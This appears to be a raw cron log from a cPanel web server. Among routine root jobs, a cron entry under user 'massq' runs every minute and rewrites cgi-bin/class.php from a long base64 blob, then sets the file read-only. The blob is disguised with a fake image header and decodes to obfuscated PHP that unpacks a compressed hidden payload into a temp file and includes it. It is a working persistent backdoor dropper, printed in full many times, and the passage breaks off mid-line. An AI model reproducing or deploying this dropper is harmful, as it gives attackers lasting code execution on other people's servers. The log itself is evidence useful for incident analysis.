Apr 12 22:33:01 server CROND[23303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:34:01 server CROND[23372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:35:01 server CROND[23446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 22:35:01 server CROND[23445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:35:01 server CROND[23444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:35:01 server CROND[23447]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 22:35:01 server CROND[23450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:36:01 server CROND[23567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:37:01 server CROND[23627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:38:01 server CROND[23688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:39:01 server CROND[23840]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 22:39:01 server CROND[23841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:40:01 server CROND[23906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:40:01 server CROND[23907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:40:01 server CROND[23908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:40:01 server CROND[23909]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 22:41:01 server CROND[24027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:42:01 server CROND[24116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:42:01 server CROND[24117]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 22:43:01 server CROND[24184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:44:01 server CROND[24336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:45:01 server CROND[24410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:45:01 server CROND[24412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:45:01 server CROND[24413]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:46:01 server CROND[24528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH